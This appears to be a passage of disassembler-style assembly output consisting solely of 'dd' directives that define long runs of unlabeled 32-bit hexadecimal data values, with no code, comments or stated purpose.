dd 83E07243h, 0C4E28EA8h, 9CFE8D4h, 6623078Fh, 0B035B8A1h
dd 9C67393Fh, 1C464E00h, 1365BE6Bh, 5A80006Dh, 0E5C8D044h
dd 94000E24h, 5C70EB37h, 0C1B2CFh, 0A88A4CF9h, 0BD624391h
dd 0D07B3D0Fh, 0E822200Bh, 9D6845h, 65D4D263h, 17744ED5h
dd 12D79A00h, 1BEF5F3Fh, 0BBDF3DA7h, 0D67B2800h, 76C032C2h
dd 0B2F2D200h, 51D8A3EAh, 92EE0084h, 663AA805h, 700F009h
dd 0FA703069h, 5CDBE5E9h, 5C24CBCAh, 0B4AA14D4h, 0E4410D02h
dd 9D602CA6h, 0EC0032B4h, 0BAC9487Ah, 0E6DC1EFBh, 71769Bh
dd 37331FA1h, 0A7FCE3CBh, 700DD70h, 78561798h, 8D3EC5h
dd 0BB2E981h, 86A09946h, 0AE0C5001h, 4776332Dh, 1845D8h
dd 4321D9E1h, 0F1FFCE77h, 0EE4723Ch, 3222373h, 887AA6BAh
dd 0E4AF2445h, 7C3A001Dh, 0B5663BF6h, 47711C5Dh, 626AD604h
dd 18974265h, 0F6608670h, 7E30005h, 0DD189D2h, 0FB149DF0h
dd 0C0F5EDh, 0C60F5AF3h, 0ED41105h, 22081B97h, 0A45ED781h
dd 58108090h, 1D5533DEh, 81FF09D0h, 54008DE1h, 7B2A3D84h
dd 32FB2D00h, 27B3FAD6h, 13F800B7h, 734E7E52h, 5114D16Dh
dd 0ACEEEAh, 0CDA4C240h, 988119Fh, 5D0F3D16h, 24AD9D00h
dd 0BCA0ABE0h, 9700C393h, 1280E2A0h, 9D9465C0h, 0C87B22D8h
dd 13A9D39h, 6EEE6B3Ch, 28FC87BDh, 442036Fh, 0A49FA98Bh
dd 7253D6E8h, 0D0B3BCA1h, 8E76DDAFh, 5523000h, 0C37E440Dh
dd 3F1E632h, 0FE1846D9h
dd 258840E5h, 0AF007439h, 0EC7068E2h, 1A908B2h, 914E4351h
dd 0CCE0C259h, 9C03C82Ah, 0AA3EF392h, 0B722F8CFh, 662600D4h
dd 2E06318Fh, 0CCF6EA24h, 0D7175900h, 0CD8BF41Dh, 5CD200B2h
dd 3E403525h, 793F6AE1h, 0FEDF000Ch, 870DD71Ah, 28271F22h
dd 956B40E7h, 0A2BA0790h, 0D65C3F00h, 0D02E2FEh, 2E6F0020h
dd 3A628E3Bh, 6600A331h, 1143E4A7h, 83D360h, 0D188BAC7h
dd 122DCD8Ch, 8E5AA801h, 6B9641A1h, 7746B420h, 30D40083h
dd 33448D0Eh, 0B200DA69h, 4D97900Ah, 236CF9h, 9D1DE1ACh
dd 0F4B72FF0h, 0FEA5C00h, 52A5BDAh, 59C40064h, 0E674BE15h
dd 0C0000B3Ah, 0A701F952h, 2BAEE0h, 7ED48E62h, 7456AAA0h
dd 9FF170h, 6B6A869Bh, 922600DCh, 2EFE7A1Ah, 0E7031DC0h
dd 0BDBAABA9h, 5467C0FDh, 5D57003Ch, 0D0653325h, 70909326h
dd 0CA20B00h, 0E8A6702Dh, 8E8B016Bh, 0A710D040h, 0B029FC97h
dd 0C0E8484Ch, 2E1FBC28h, 0B04E74D3h, 0E287000Ah, 6F25A7E9h
dd 0C300DD8Bh, 0F145033Ah, 0ECE80DCAh, 10F961FAh, 0F0E3085Ah
dd 0C2265C19h, 0E985C85Eh, 1C87D281h, 0CE835180h, 84403A9Ah
dd 13D69C02h, 66C03461h, 470050F1h, 4C9BA094h, 0F0350Bh
dd 0E2CBBBBEh, 0C2C8EC3Eh, 400150D3h, 0F443CA4Bh, 336B2082h
dd 0E848FDDBh, 2903D783h, 0D2E69823h, 82EBE805h, 0C581C018h
dd 66DA7BA8h, 7813630Ch, 0C05D1928h, 5C2F44B0h, 0F90088A0h
dd 0ABFBEBE9h, 3F7526A6h, 0AE80E8F8h, 2D2ACF69h, 6800C2CEh
dd 2F9E8FA0h, 0F0E17B5Eh, 0DBFD00B1h, 0E4EEE3B2h, 0F91D6469h
dd 86839414h, 0B77FD16Eh, 0FEA40200h, 713B0004h, 6754A9B0h
dd 6E009023h, 763A1F55h, 27A708h, 0A6BCA5C5h, 5E78F54Ch
dd 3228301Ch, 71537203h, 0D0B7D1C4h, 2577C180h, 66312709h
dd 0E1C7F800h, 92D14654h, 0AB5EA41h, 0A6BB6EC2h, 2C1085A0h
dd 5030E066h, 5F851800h, 8B208411h, 0EED7E030h, 67CC1704h
dd 28380336h, 0E9A32D7Eh, 0EB4400Ch, 2148BDh, 0A0ECEDDCh
dd 1C9497E6h, 0C2F84E01h, 5EE92CB7h, 19D5060h, 576178C0h
dd 70BB51FDh, 72035B98h, 9FC4B902h, 0A7E5A0D5h, 2B381EAAh
dd 35FA8E82h, 0CEB10400h, 0D1071CE2h, 0C0EC6A21h, 0A87DBD80h
dd 0E3F42428h, 0F1003C2Ch, 0C516C492h, 0C67C43D2h, 0D9AC6F01h
dd 0DB87EB85h, 60F99050h, 50489276h, 1F6011h, 1B5BF7DDh
dd 0C4172527h, 37367607h, 0BD7061DEh, 2ECAAAEBh, 817CFDB4h
dd 0C7758D65h, 0C0B0CBFFh, 88B0EE63h, 60E9D600h, 0F2BA94BBh
dd 509B00E7h, 0A3B76AEh, 0B0C0EA33h, 0A6178C85h, 0E8610073h
dd 6321EBD0h, 450A327Eh, 434FF16h, 89C3087Ch, 1C084222h
dd 4C70D746h, 3E1700BCh, 597E93FCh, 5F0F6C6Ah, 8040D310h
dd 0A2E5AC7Ch, 471130A1h, 15DAB930h, 0CD07BA77h, 4E682E82h
dd 1D8B08C0h, 0AA3B0094h, 4552D876h, 202BD2Dh, 0A1965192h
dd 0CB0448ABh, 9D410023h, 9AE22F54h, 9C007B43h, 903994B9h
dd 150C3Bh, 876018C2h, 0F8AEC101h, 58B5D3Fh, 2C46D395h
dd 0C089A481h, 0C7FC5081h, 0F43A7A71h, 64F46169h, 8058DA39h
dd 0D6D89E30h, 6BC1B6Eh, 8F484639h, 0B453F08Dh, 9878120h
dd 0C10859BCh, 0BF8D38h, 9C3BB886h, 0DEDFDCCh, 4495FC07h
dd 0C2E6E0D0h, 0C133A8A1h, 9EF3E03Ch, 74AD9A1Ch, 2BB9FBC0h
dd 1B9D55F5h, 88664158h, 763A3827h, 0BD6400EFh, 333F721h
dd 3065E3Bh, 3842DAD6h, 28597CE3h, 0D88A09h, 0A5A7B23Eh
dd 4D43C51Fh, 99F83100h, 78AFF08h, 61D3072Bh, 10A348AEh
dd 2F94F405h, 0A113B800h, 0F6F9CBB5h, 0A546038Dh, 1ACC79C2h
dd 39EA6101h, 0AB2F0DD9h, 9C92891h, 2745E4C3h, 0F11CDC14h
dd 0CC29009Dh, 0E098158Ch, 600B858h, 5F4578A8h, 18D55236h
dd 8874E3F3h, 8CFA98C3h, 24F6BE00h, 70C13815h, 0D112634Dh
dd 2900FC7Ah, 2CA99C89h, 3BBA84D4h, 498AAB5h, 26C4D12Eh
dd 0E63A7E00h, 23051691h, 0BB770012h, 2B7A5D83h, 90090C1Dh
dd 12D51103h, 37C40654h, 0FCCC0FE0h, 5C80065Dh, 3295C934h
dd 3B5613Ch, 60BFF69Eh, 151E90CFh, 0CBBD067Ah, 0F686E96Eh
dd 809AE82Ah, 0AD54427Eh, 79FA7298h, 5A2D5300h, 46AE94E9h
dd 31433054h, 0B9A1E621h, 0BD9F7012h, 97BB440h, 77E071C6h
dd 2812FE51h, 20541DD5h, 6200C1AFh, 490835E6h, 17B91F2h
dd 8F57A2DBh, 2588AE28h, 0D751A68Ch, 38139930h, 0DE5E00F2h
dd 104C836Fh, 0E51CAAA1h, 0CC40B6BEh, 98AD3E82h, 0D7E6010Dh
dd 0AF398812h, 9A66DC6Ah, 74C0F627h, 0B5270131h, 0E4216FE5h
dd 83F79B60h, 0F9DB7570h, 7A80A43h, 42DC0E68h, 8A2FADD7h
dd 9D3D7476h, 3A10CBB0h, 310A3518h, 49032DC3h, 0E512B6BAh
dd 0A077DAF3h, 9D6CA1FCh, 0D091810h, 2C3C5049h, 7D25BC01h
dd 90DFF482h, 0E4BD1980h, 3A8DD6F6h, 48600C00h, 96E9DE21h
dd 992A00ECh, 5E5FFD9Bh, 823151C6h, 61B0C136h, 189F5442h
dd 0F01D38C7h, 47C35283h, 3E69B5C9h, 0C280E928h, 2C3A3371h
dd 9A02DB68h, 8742BDB8h, 0F99C6881h, 0D993F1E5h, 546C20DCh
dd 593EC079h, 5D6E805Eh, 2165BCFAh, 61203F4Ch, 41A22598h
dd 3D44E4E6h, 994A1FBCh, 37F54711h, 10BFA7D2h, 906B58A9h
dd 4C1C7C0Bh, 33468077h, 0FFD4EA06h, 0AED6D04Ch, 2C0544B8h
dd 0C7063100h, 3EC6FDD5h, 0C081060Bh, 7953EAB7h, 0BCE70C0Fh
dd 158B8044h, 98491467h, 17A51C8Ah, 0E631C0CFh, 813FE965h
dd 69FF0B09h, 0BB58201Eh, 79C27BD6h, 46AB00F0h, 990E5D01h
dd 8212FF7Ah, 0F8307706h, 0A7BC1EEh, 4BBD1398h, 8A6483C4h
dd 0F29B29FEh, 2A6626B0h, 83AD5B18h, 757D6D21h, 7EFF00C5h
dd 0CBD2E4D5h, 520FE6CDh, 20894CFCh, 0AAD8C213h, 88EA9Bh
dd 0F3E969A4h, 545DF98Ch, 0C4E44024h, 5594B140h, 0ADBF01CAh
dd 7937CCAAh, 23D8885Bh, 51570E82h, 41F93118h, 0E94C24FDh
dd 0D8DE4E00h, 5DF73D68h, 0BE070F12h, 52825A17h, 0A4A130EAh
dd 0C81AE058h, 9100A350h, 0C605D0DFh, 526CABCAh, 8041D46Eh
dd 4CC3D40Ch, 0C6C82CE5h, 60C1AE42h, 8037F4CCh, 300AB64h
dd 320F3054h, 0A74A36h, 8CE2C975h, 0E964EEAFh, 0EAC94760h
dd 80BD5070h, 0AD003C46h, 0F824EB01h, 163177A5h, 1F40255h
dd 9D5007A4h, 78E8A459h, 12BCB615h, 504F67FDh, 3166A086h
dd 0B283D2h, 9E5D7F5Bh, 0BC8FEC1Dh, 0B5E0205h, 0F432757Ah
dd 2EEC6123h, 0A3B94040h, 0E9E81878h, 633FE951h, 9C710AEEh
dd 0B1D17E00h, 9BE1C2CBh, 8A7718D9h, 0B5D29160h, 97220085h
dd 0D8EFCF2Eh, 0FC8338h, 534A784Bh, 0A959D98h, 0AE7152C8h
dd 9CE8D0B8h, 60076A24h, 0A0DF0180h, 1ED4A1EDh, 0C752576Dh
dd 50547848h, 0FD0C2BD9h, 0BBF4F201h, 2CB9B10Dh, 0C675130h
dd 8B6505D5h, 5600FBD0h, 9F33B417h, 2812F28Fh, 42C82084h
dd 0DD05154Bh, 0AD1105E4h, 43874407h, 0D95A8A70h, 0ED0F01F6h
dd 0D30C5485h, 2832EAh, 1F457314h, 0E82F9F3Ch, 0DC2A008Dh
dd 0CE231DAAh, 3477ECDAh, 0F8C56C2Ch, 2601C021h, 42F34E8Ch
dd 0D8166022h, 30DA1374h, 9CBE37C4h, 9F79248h, 0A9177E13h
dd 24388E5Ch, 748212AEh, 1D44466h, 10D02304h, 341105D8h
dd 0A3002E2Ch, 0F360C6BEh, 1E4B1CBh, 0B6B8BC54h, 23670F75h
dd 70EB00C4h, 4D156D6Ah, 24BC90CDh, 8074EECCh, 116B1928h
dd 210BFD20h, 1AC6F93h, 8BFF3290h, 1D006436h, 4E495FDFh
dd 9D126F71h, 200BF537h
dd 0ABB8AFBCh, 526C100Ah, 3A6B0335h, 0C2142EE0h, 16646298h
dd 7722800Bh, 0D7BC9008h, 60E4F2F9h, 0CAD89896h, 880A07F3h
dd 0F0660308h, 0D2690287h, 0E0471AB0h, 136400F6h, 8E5CEB9h
dd 3C987EE3h, 18A02CFEh, 0B755DB7Ah, 0BE4DF1A8h, 14EA2EA1h
dd 31C0E802h, 0FA404823h, 60201DA1h, 0BA80BBC6h, 0E6ADEEA8h
dd 9D2C4AC4h, 1F1E60B9h, 751A94C1h, 398B2666h, 0A8103F3Ch
dd 8D0270E2h, 0B24D3409h, 0EA28C6D2h, 0C4601355h, 0E15200C0h
dd 0D731EEDEh, 0BF6FFF01h, 0FD4C2C4Eh, 46068342h, 0F0CC5C20h
dd 82A6FEC3h, 0B0640E98h, 0F5798600h, 6F4FF705h, 0A1B2026Dh
dd 9AA72423h, 0C0385CE4h, 3333D0Eh, 0A4B0554Eh, 60F40BF3h
dd 0C42545FBh, 378CB09h, 0BF344FB5h, 662EF8A3h, 4C640293h
dd 5A87514Dh, 0D9A2C8E0h, 4E04B201h, 705537Ah, 0ACBE8050h
dd 0F2A0027h, 0BB963437h, 9C04B281h, 0E0E5D4BFh, 0B4FB3490h
dd 0E36D0EB5h, 91208425h, 4858166Ah, 4F8E4C05h, 0B4453B51h
dd 0A04439DFh, 97C0E335h, 34B781h, 33AA8FC9h, 4EB484A1h
dd 1CC8172Eh, 0D2121A60h, 0D0008264h, 0D7577569h, 0EAA1F107h
dd 4525F89Bh, 0B06240C5h, 2684A323h, 3CEFC0A3h, 6D0D008Eh
dd 239E421h, 0B60A0BCh, 0B681A9E9h, 0AAF4072Ah, 0D990A16Bh
dd 0DC834012h, 0C82E9A4Ch, 150A8A6Ah, 0BB40506Fh, 0FDDD99Dh
dd 0BCF98792h, 459AC3C0h, 730FFC20h, 0B8EB1D11h, 0CFA0F9h
dd 0DBBD5A3Dh, 0E6A4943h, 0B5B0F962h, 0D69F0042h, 0C50184A2h
dd 78BDDAE7h, 0B4360EE5h, 0E74A513h, 0A834E494h, 0D782F180h
dd 52E4CE8Dh, 0D6980100h, 0A64280CAh, 544D3F70h, 91A13A85h
dd 0C8118137h, 9278BB14h, 5034288Fh, 42707087h, 0DF03C8h
dd 0EDB4A712h, 99F5BC64h, 0C4B98A7Ah, 94098039h, 80781F76h
dd 833E17E9h, 81835C0h, 6D8011A4h, 73A6FF7Eh, 0F89700F7h
dd 0EED39DCFh, 0C052F03h, 260ED56Ah, 0A2B50082h, 207BA174h
dd 972CE89Ch, 0B1ED1700h, 70B9AA76h, 210D2402h, 621609E4h
dd 60136405h, 0E2A3DECCh, 10277700h, 64CC28A7h, 0A96F0B56h
dd 0B490AD6Eh, 9600DA78h, 0D2678D18h, 1457B722h, 0D04D3F0Ah
dd 2A4A12h, 51A39628h, 900008DFh, 9B74A21Fh, 48A526F3h
dd 540B1042h, 8892E938h, 0AEEB6C60h, 9DB90160h, 5961C7C1h
dd 0CC009431h, 0A195DFE1h, 9902E5D9h, 6B140277h, 25B46653h
dd 0E0A3030Fh, 0DB989A6Ch, 510739D6h, 41389D40h, 0B3541FC0h
dd 1D643F14h, 0FF3D9085h, 0DFD08CAFh, 0FB87B894h, 50B0E860h
dd 0EED9647h, 0CF82C166h, 0D066760h, 2CB343E0h, 0E7A5405h
dd 9C2C681Fh, 39E35241h, 0D268C0h, 0FDC601B6h, 0FF06595h
dd 0D8A3E528h, 912351Dh, 93494466h, 1094F0D0h, 13CE001Fh
dd 7F1E90DAh, 5500CF2Bh, 96FC067Ah, 4D320B8Bh, 6815FC99h
dd 0A3008008h, 856A80E8h, 0CD2B6910h, 72009452h, 0DC1B4564h
dd 9479E889h, 31F9924Ch, 35C642BCh, 0C4CCF2BCh, 98945419h
dd 58220319h, 0E2AA7700h, 0B75BFAB4h, 0FBA76800h, 3CDCC3E4h
dd 698494DFh, 645B3418h, 0BCC5B900h, 5A2848FDh, 0AE670065h
dd 0C34C4345h, 0FE5CF2F7h, 0BE474DDh, 18B18F0Bh, 3C308887h
dd 0B8F47A05h, 0A309708Bh, 10C0FAA1h, 61006A81h, 0BFF74526h
dd 38BB3Eh, 6B1CB9A2h, 7BD60A48h, 8024A0A1h, 26F23C99h
dd 12220970h, 40CD778Fh, 8C3F75A8h, 0A4982CE6h, 836EDB09h
dd 4850002Dh, 50CF7E7Ah, 94A4A40Ch, 8CA761D0h, 729C32A1h
dd 1B927300h, 0EC56ADDEh, 0F5D814B1h, 1680DC3Ch, 0FB9E685Dh
dd 584D700h, 0E49C7AF6h, 384030DEh, 8E166778h, 9BA57940h
dd 23FD16BCh, 16D80330h, 157473CDh, 14614605h, 0AC067917h
dd 0E96FDEh, 3334CC53h, 0B5E68560h, 0FD061A03h, 888ADFEEh
dd 0A08F1B0Bh, 7023CB8h, 9FCB4B8Bh, 0CC2FF213h, 0F812284Ch
dd 10CCEBE4h, 0F1390084h, 3AD3F236h, 0D900952Dh, 0A072A4C8h
dd 0CD7A5Ah, 0B8FD7164h, 7670E936h, 18B5920h, 112841B9h
dd 65846665h, 0C81BC860h, 9692241Dh, 0F1065AC0h, 2F88397h
dd 3E3A132Ch, 8CB1A337h, 0D03D35h, 0D3A8C00Fh, 2499FA88h
dd 0CDEEBDh, 0ACFEF43Eh, 6A004E0Bh, 0C852ED7Eh, 0D67C32h
dd 12D1E7BBh, 78199A2Ch, 686EAE1Fh, 24E94E40h, 0C263B1h
dd 0FBA99FCAh, 0E071FC89h, 3935E500h, 4D5077E8h, 78CC3E08h
dd 0ADD54C7Bh, 0C4992A00h, 38759DA1h, 68182B7Ah, 78486150h
dd 767100BCh, 9F571305h, 47F89E79h, 0F20B9576h, 87C6CCDDh
dd 0CBF0F9F8h, 7506766Dh, 9E7800ACh, 0A7A6D8A1h, 8C00B7D1h
dd 0EA5FFD86h, 1DC52FDBh, 0C6BAF8AEh, 0BCFE7502h, 6DFD3401h
dd 0C882B61Ah, 7A664080h, 1C703C16h, 83175E00h, 13423F54h
dd 2B740012h, 26C232C0h, 49006CF0h, 0C83B63CDh, 6AB92C1h
dd 0CA718A19h, 0AC052181h, 0AAA3BAB4h, 18669040h, 1459D8h
dd 98020795h, 6505D778h, 89EFEA06h, 1C2860CDh, 409F2CE9h
dd 0F4C41774h, 66002085h, 14E7952h, 0BE03054h, 9CA3350Ah
dd 61A94106h, 0A0094F2Ah, 0AFA90250h, 0AB291700h, 6E08C75Fh
dd 0F472005Dh, 9741632Fh, 0BC0DD678h, 79CFE8C5h, 0C61EC68Ah
dd 0E7AD0784h, 7F194C7Bh, 7F07BD44h, 0E6360AA4h, 0C0885E4Bh
dd 7AE02C54h, 61A8E205h, 0DC406957h, 0EA2A2D4Ch, 0D9A51FDAh
dd 7150580Dh, 3E3DF578h, 2EB50021h, 7C5A237Eh, 0B7E708CBh
dd 0C400CCEFh, 0A6C7975Ch, 1253EED8h, 4AFCD592h, 8EBC1920h
dd 5D72B56Ah, 0DDA58000h, 0D6580430h, 0EA0680FFh, 7DB5348h
dd 13FFE5Bh, 68615236h, 6157EB17h, 0BFA8801Ch, 0FE516F50h
dd 0DEB70760h, 80E3E96Ch, 3061A95Bh, 0B618250Ch, 53D99F0h
dd 0F97E476Bh, 0D2C02086h, 0BA00DFAAh, 36EBCE1Dh, 0C5788Dh
dd 6CAE5808h, 27C317CBh, 0B09B8203h, 3E18F2E7h, 7C2452C0h
dd 0DEF7C02Ch, 4773927h, 41D0AB1Fh, 0C042968Eh, 6DD8BFB3h
dd 0F5F0D7h, 263AC2C5h, 48CAB07Bh, 0DF007E74h, 9C8E1A2Ah
dd 0C0B5ADE9h, 151C4C10h, 0BD0069A2h, 373B8878h, 82DECDh
dd 554F181Eh, 0B7EFF812h, 1DAE1500h, 80397BDh, 0CDFF007Fh
dd 0D6E1780Fh, 0B70069F9h, 81A996EDh, 1BAFCC5Ah, 802C0DFEh
dd 90E431E0h, 0F953DD07h, 194311F3h, 0C592C08Eh, 0CC0D0C78h
dd 7B90B255h, 0BD26EE0Bh, 0C6290038h, 0C94A8A0h, 258A5BD7h
dd 0F2297150h, 74067CD1h, 0E07CFFh, 36A9E555h, 334FD994h
dd 0CA199B03h, 9B35F032h, 0AEA6E0D6h, 658800CBh, 0D9DBB493h
dd 0C86EE077h, 61B2A041h, 436AE5h, 335A5B13h, 0D8579FCCh
dd 0ED1BA1C0h, 6034D704h, 32FF918Bh, 59012344h, 0C81CF9CFh
dd 0F8802781h, 0ADAA492Dh, 75FCC4D7h, 22001578h, 1CEEE58Eh
dd 0C5B0AC7Eh, 222E1779h, 8E20E068h, 0F39986Eh, 387D8D95h
dd 0D560C2DCh, 0E0A0B632h, 0F708AB1Bh, 58946C01h, 1F3E5549h
dd 0FACCD840h, 2AD0A690h, 0E4C843C7h, 99B90087h, 4CADEAF3h
dd 0D7EA9414h, 42986F00h, 0F0EDE66Bh, 0DF890012h, 0CC06990Bh
dd 0EC01E126h, 0E348AA33h, 8851CF4Dh, 0DC50B353h, 2811D90Dh
dd 3D0723Dh, 0D6E4C01Ah, 52E89B47h, 0BA05B74Fh, 0C9D9F52Dh
dd 0BB7FBC02h, 2FB222B0h, 4DCA8098h, 0FCC470A0h, 0B82DC630h
dd 6055D0BFh, 66527156h, 950EB494h, 20FFF96Ch, 8108BFB9h
dd 0EA26012Eh, 0A160A082h, 52D44188h, 16398024h, 44AE727Fh
dd 0B4F705E0h, 0C0142539h, 0E3B75C77h, 3A403660h, 6828DE8h
dd 190DB2B8h, 1A0391ABh
dd 0CCFCA545h, 3257D939h, 267C28C4h, 517614h, 0BB6D35E8h
dd 0C20DB3ACh, 798434DDh, 378A0EEh, 0E64AED3h, 5F7E0470h
dd 0E7E1E0BBh, 446980ACh, 950DE959h, 0F4CA0015h, 71C1EC30h
dd 0D612B9C5h, 0A062C7EBh, 4CA0B8B4h, 7E1B88A8h, 0C6749A09h
dd 0C1880048h, 72A68D30h, 5938C008h, 0AFD887ABh, 5ADDE4A0h
dd 0C6C6149h, 0B1F9AC6Dh, 307E1FCAh, 0F319C0A6h, 7D3BD4BAh
dd 750F0D0Ch, 4AE17Ah, 656D9254h, 0B72247C8h, 0C09DCD00h
dd 933455A6h, 0F8C74B5Ch, 4B097F0Ah, 270CFDABh, 56B2BF48h
dd 0CA84788h, 0CB615B57h, 0F70E6F0Fh, 1B81809Fh, 246624DBh
dd 1118560Dh, 185228ACh, 39C57600h, 654730Fh, 3A1F0F8Ch
dd 0C01C3001h, 0D5452F35h, 0DB48C1F9h, 51CA85D8h, 9BC4240Fh
dd 95181091h, 30FE89B1h, 1607F48h, 32500106h, 42C5D19Bh
dd 0F6119AB0h, 59110827h, 77100420h, 2E057FD6h, 5D2A80CFh
dd 0A31D713Ah, 5F406709h, 504B1DAFh, 215E8D1h, 0DB12BEF4h
dd 0E0648405h, 0B1033779h, 0A46325B8h, 118BD8E1h, 81C700E8h
dd 0DB01557Dh, 0C249CB42h, 0AE198618h, 996B0041h, 377185F8h
dd 9D00FA45h, 5FF576EAh, 612A8EDBh, 34A73084h, 0D85C5223h
dd 0CB718320h, 0BA3B2E9Fh, 0DAFA00F1h, 2EC066E5h, 632C1C7Eh
dd 0B7913819h, 89FBE10Fh, 8DE79901h, 29E5EF7Eh, 88BF6094h
dd 0E5010892h, 0EF18CBC5h, 2E30BADBh, 8D9B0028h, 0CD02D866h
dd 97A34C7h, 6ED7D300h, 476AB90Eh, 0E7A1C6D1h, 271F79B3h
dd 6007C7Ah, 121EA4E5h, 0F157078Eh, 0D087835Ch, 8959FC4Dh
dd 182765Ch, 8E21C28h, 20801B88h, 9FA7E80Ah, 0FE0612B3h
dd 0B5EBC46Ah, 4BF030h, 0A145B44Dh, 0F8BD1982h, 99F42900h
dd 0EC341036h, 0FB28017Bh, 5CEEF93Dh, 0B259D812h, 9D9C1900h
dd 3436E041h, 85D10F3Bh, 0E4C02F87h, 61E2CA09h, 8C8A9E00h
dd 6F203FDCh, 8E4330D8h, 9685A640h, 0EA93B300h, 0A7B1BBEh
dd 915300B9h, 0CBD6BAF9h, 0C900A70Bh, 8DC69BD0h, 3F5A5C4Fh
dd 0C88716D9h, 9C3C4C7Ah, 6892890h, 0B649CCh, 0C7BADE09h
dd 864D0FE2h, 301B2D01h, 3A4E1E2Eh, 0B3775451h, 0C5A77BFCh
dd 40446141h, 0EAEE2A0h, 9C00E4A2h, 7D9FD2F8h, 64EC52ABh
dd 414528E7h, 0F6CEAD12h, 27E620h, 75BE63C5h, 0F7B99C97h
dd 10B3430Ch, 26F14Eh, 7C911E73h, 18626B96h, 5F52B503h
dd 0E00BF9DFh, 0DB0872h, 1346B858h, 42DDAB0Ah, 0AA44FA0Ch
dd 185B714Ah, 508554EFh, 0EC1CA98Ah, 0ACA8C822h, 95D44h
dd 2B403DDBh, 73DC50B2h, 0AE7FDE07h, 0A7904297h, 0B1B0B9h
dd 152E02E8h, 431B80ABh, 60400D3Eh, 0B3373940h, 0B4070930h
dd 2C02FD5Ch, 1C40D31Fh, 0CD000AB9h, 84C5BF8Bh, 13982Fh
dd 0E2728D94h, 0DDDEF618h, 45538A06h, 0A95226h, 9DF5DB67h
dd 8F7D97A5h, 8236C503h, 119E77Ch, 6A7FC8E0h, 30B42231h
dd 0DC525CB2h, 0FAEA15B0h, 98CD00B4h, 0BC92600Dh, 33C30016h
dd 27E3B1A7h, 900F45Eh, 0BAAAAC06h, 245C4961h, 637CEF41h
dd 5117437Ch, 8A00E34Eh, 80C4313Dh, 0F09B00D7h, 44EC2F83h
dd 351D8185h, 58F0617Bh, 0E886A5h, 9BC348CAh, 0FBE9B226h
dd 369C91C0h, 47C43EEh, 7ACB2EF6h, 359088F0h, 750B1540h
dd 0A85B0012h, 8446997Dh, 2F0FFA44h, 40C694h, 50280F92h
dd 33030C5Ch, 0CE3907F1h, 9F80200Fh, 98B98032h, 0B74874h
dd 1FF4B185h, 0AE97442Eh, 0B5382901h, 0AD0572E8h, 49A147FCh
dd 0DC821C12h, 0B021FD69h, 1B0584B5h, 0C5E06928h, 0A06A107Ah
dd 760EC30h, 723B4439h, 1684061Fh, 0F9F8E935h, 96675B01h
dd 0C2856EAh, 26CC1424h, 830EE9Fh, 0B780A6BEh, 35D06486h
dd 1092355Ch, 0C13C0071h, 4E762962h, 2DB470C1h, 60BDF7B0h
dd 0EB5501F5h, 0D120AF48h, 0D3C1DEE0h, 9182637h, 10BE35C7h
dd 0A408B4C0h, 664A309Ch, 6B872BF1h, 20D7F901h, 0D97169C8h
dd 26B542D0h, 0F75635h, 0B11AA6B3h, 0B0CB7010h, 68BA00FBh
dd 58241136h, 5500DF82h, 5F39A007h, 0B500DA0Ch, 0EE5DB0F3h
dd 1BCF72F4h, 0D913F81Ah, 0C466D9DAh, 0FD940A14h, 78301850h
dd 48B32929h, 0D8E04CE4h, 3507C85Ah, 0EA7F4C74h, 86291EE0h
dd 7EA30522h, 580F13Ah, 4924D328h, 0F8904AD4h, 0CF142CB9h
dd 7D83544h, 0E915902Eh, 996593E0h, 0D4B150EAh, 0D04C7A48h
dd 0DD839478h, 0E1986EAFh, 0F4F7AECCh, 50575BA9h, 0E91A1DB8h
dd 0F9F80022h, 0A9C5E3A0h, 0D4009B1Eh, 8D326AD2h, 1242BF9Eh
dd 2385FA07h, 0A10A3F34h, 0B49E265Bh, 11AB5489h, 0EFEDD4h
dd 0CD3E8159h, 9C5DDFEBh, 0A7E59B00h, 0D59DF040h, 0FBB04C52h
dd 498E813Dh, 5978EB85h, 8BE8DB62h, 0F315E401h, 7AB5E6B9h
dd 502B69BEh, 2A5380B8h, 0F0C33FA3h, 0C1E561Ch, 8A808200h
dd 60CF8681h, 0C9113917h, 0F648407Ah, 0D138E8h, 3E2EDBFCh
dd 146BB6Fh, 8A5F10E1h, 32B045FEh, 1AD113C8h, 46EEDC61h
dd 89335187h, 0CE96B03Dh, 0D04D81B4h, 41FC8CDCh, 0A0780157h
dd 0DE5D8F9Eh, 9800DB9Bh, 437A9035h, 7CBAF819h, 171200CCh
dd 15A2183Eh, 0B7011A14h, 92DB5A64h, 0E5D8D2D6h, 0BAB307BCh
dd 60B41886h, 2B608DB9h, 609E3A58h, 9421DA30h, 1F90B3h
dd 0F1AAC748h, 0B525BDE9h, 46B27F04h, 0B0C380BBh, 0D227B0B3h
dd 0DE8B1E68h, 2E2D4055h, 0AD6CC776h, 56F320C0h, 0F04A16BAh
dd 1D4C3330h, 9900EA90h, 0B226713h, 3D7BF4Fh, 1FFA6F75h
dd 20BDF7B2h, 0EFCF5C58h, 1A135E00h, 534FD897h, 0B12E3FAAh
dd 0A7937200h, 0EA05DD08h, 0FB591760h, 0AD08F69h, 0ECD9FCF3h
dd 905E0038h, 0FD100B82h, 0F7643C54h, 65C43Bh, 3679C55Fh
dd 18DA8492h, 79E4E546h, 0FA30E3A2h, 9B34819h, 747550D9h
dd 74380C42h, 7FE14BA2h, 41319E00h, 8A5A404Eh, 0B1C71845h
dd 422F4868h, 627ED03h, 0BD4EA1h, 5B640A70h, 459D83C3h
dd 1B43F403h, 0E4AA225h, 1CB14451h, 53B58F00h, 50061ADh
dd 17D70F97h, 647BDDh, 8D67F4D6h, 70D3A101h, 0C4A62DEEh
dd 40E55828h, 2CA7A328h, 74BF4Ch, 9F186E5Eh, 0C865D99Eh
dd 0A38042C8h, 0DFB2D3D6h, 8874EBh, 0F2AE1AF4h, 0E37BEF25h
dd 84F65E28h, 20463F01h, 0B0A058B2h, 0D7FC6982h, 30F87EDh
dd 63A1EFh, 42FA718h, 2B8DB2B0h, 38EAC400h, 0C8FD3236h
dd 0DE551D65h, 8C3A8CECh, 28005AC8h, 0AC50A6D9h, 725BCCh
dd 9EE99DD0h, 0EB149269h, 98300928h, 0FA939701h, 0E81F9A9Bh
dd 0C04D6ECCh, 8267FC18h, 0D50247D4h, 7664E6E4h, 5B3448EBh
dd 0A3BD00ECh, 5EE58D42h, 0C844E65Ch, 845229FCh, 40569FC8h
dd 907267B1h, 731DEDB2h, 0A8C769DAh, 31C3858Eh, 0B73814FAh
dd 0B8904C8Bh, 0A5004622h, 0B51C7B9Eh, 3350D4h, 59FEF5DAh
dd 656603C0h, 0E51862FAh, 63314E91h, 76CE7FE6h, 0C37400ECh
